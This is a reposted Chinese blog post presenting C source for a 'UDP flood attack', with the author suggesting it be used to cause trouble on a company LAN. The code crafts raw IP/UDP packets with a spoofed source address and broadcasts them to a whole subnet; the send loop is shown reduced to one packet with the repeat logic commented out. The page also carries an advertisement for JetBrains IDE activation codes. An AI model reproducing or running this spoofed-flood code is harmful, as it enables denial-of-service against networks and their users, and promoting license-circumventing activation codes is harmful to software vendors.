简单的udp攻击_udp flood攻击

简单的udp攻击_udp flood攻击由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.我是在ubuntu8.04下的,需要gcc编译.这个也添加了广播,整个网段的人都能收到了#include#include#include#include//ip#include//tcp#include#includeunsignedshortip_su…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.

我是在ubuntu8.04下的,需要gcc编译.

这个也添加了广播,整个网段的人都能收到了

#include <stdio.h>

#include <sys/socket.h>

#include <unistd.h>

#include <netinet/ip.h> //ip

#include <netinet/udp.h> //tcp

#include <stdlib.h>

#include<netinet/in.h>

unsigned short ip_sum(unsigned short *addrr2, int len2) {

register unsigned short *addrr = addrr2;

register int len = len2;

register int sum = 0;

unsigned short answer = 0;

while (len > 1) {

sum += *addrr++;

len -= 2;

}

if (len == 1) {

*(unsigned char *) (&answer) = *(unsigned char *) addrr;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return (answer);

}

unsigned short cksum(short * buf, int nwords) {

unsigned long sum;

for (sum = 0; nwords > 0; nwords–)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

int main(int argc, char *argv[]) {

int sock, size, bytes_send, psize;

psize = 0;

struct sockaddr_in sin;

struct {

struct ip iphead;

struct udphdr udphead;

unsigned char evil[];

} faggot;

size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;

printf(“create socket\r\n”);

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = inet_addr(“192.168.0.255”); //被攻击者ip

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

const int on = 1;//设定常量,用于打开广播模式

//设定该接口上的广播模式

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

faggot.evil[psize] = ‘\0’;

printf(“create iphead\r\n”);

faggot.iphead.ip_v = 4;

faggot.iphead.ip_hl = 5;

faggot.iphead.ip_tos = 0x00;

faggot.iphead.ip_len = size;

faggot.iphead.ip_id = 1025;

faggot.iphead.ip_off = 0;

faggot.iphead.ip_ttl = 201;

faggot.iphead.ip_p = IPPROTO_UDP;

faggot.iphead.ip_sum = 0;

inet_aton(“192.168.0.157”, &faggot.iphead.ip_src);//假冒ip

inet_aton(“192.168.0.255”, &faggot.iphead.ip_dst);//被攻击者ip

printf(“create udphead\r\n”);

faggot.udphead.source = htons(12345);//假冒端口

faggot.udphead.dest = htons(80);//被攻击者端口

faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);

faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));

faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);

printf(“start send\r\n”);

int i = 1;

while (i > 0) {

bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));

i–;

// if (bytes_send > 0) {

// i++;

// printf(“第%d次OK bytes_send udp %d \n”, i, bytes_send);

// }

}

printf(“end send\r\n”);

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/186802.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Ubuntu20.04安装cuda cudnn pytorch pycharm记录

    Ubuntu20.04安装cuda cudnn pytorch pycharm记录Ubuntu20.04安装cudacudnnpytorchpycharm记录0.安装NVIDIA驱动1.安装cuda(1)查看pytorch支持的cuda版本。(2)下载cuda安装包并安装2.安装cudnn3.安装Anaconda(略)4.conda换源、建立环境、pip换源(1)conda换源(2)建立conda环境(3)pip换源5.在环境中安装pytorch6.安装pycharm记录时间:2021年1月31日版本:Ubuntu20.04、cuda11.0、cudnn对应的版本、pytorc

    2025年7月27日
    3
  • centos7 top命令_top是什么命令

    centos7 top命令_top是什么命令top命令Linuxtop命令用于实时显示process的动态。top参数详解第一行,任务队列信息**系统当前时间:**13:52:56**系统开机后到现在的总运行时间:**up66

    2022年7月31日
    1
  • 不含重复字符的最长子串长度JAVA_字符串回文判断

    不含重复字符的最长子串长度JAVA_字符串回文判断给你一个二进制字符串 s ,现需要将其转化为一个 交替字符串 。请你计算并返回转化所需的 最小 字符交换次数,如果无法完成转化,返回 -1 。交替字符串 是指:相邻字符之间不存在相等情况的字符串。例如,字符串 “010” 和 “1010” 属于交替字符串,但 “0100” 不是。任意两个字符都可以进行交换,不必相邻 。示例 1:输入:s = “111000”输出:1解释:交换位置 1 和 4:”111000″ -> “101010” ,字符串变为交替字符串。示例 2:输入:s =

    2022年8月9日
    9
  • 什么是倒排索引?

    什么是倒排索引?不多说,直接上干货!欢迎大家,关注微信扫码并加入我的4个微信公众号:大数据躺过的坑Java从入门到架构师人工智能躺过的坑Java全栈大联盟每天都有大量的学习视频资料和精彩技术文章推送…

    2022年7月3日
    20
  • Linux下c语言多线程编程

    Linux下c语言多线程编程创建线程函数pthread_create()和等待线程函数pthread_join()的用法。注意:在创建线程pthread_create()之前,要先定义线程标识符:pthread_t自定义线程名;例子1:创建线程以及等待线程执行完毕。#include<stdio.h>#include<stdlib.h>#include<pthread.h>//线程要运行的函数,除了函数名myfunc,其他全都是固定的。void*myfunc(){ p

    2022年10月21日
    2
  • 张小龙-年薪近3亿的微信之父,他是如何做到的?

    张小龙-年薪近3亿的微信之父,他是如何做到的?张小龙生于湖南邵东魏家桥镇,家庭主要特点:穷。不仅自己穷,亲戚也都很穷,可以说穷以类聚。爷爷做过铜匠,总的来说,标准的劳动阶级出身。家有兄弟两人,一个小龙,一个小虎。小虎好动,与邻里打成一片,小龙好静,喜好读书。“文静的像个妹子。”张小龙的表哥如是说。穷文富武,做个读书郎是个不错的选择。87年至94年,华中科技大学本硕连读。本科就读电信系,不喜欢上课…

    2022年6月7日
    44

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号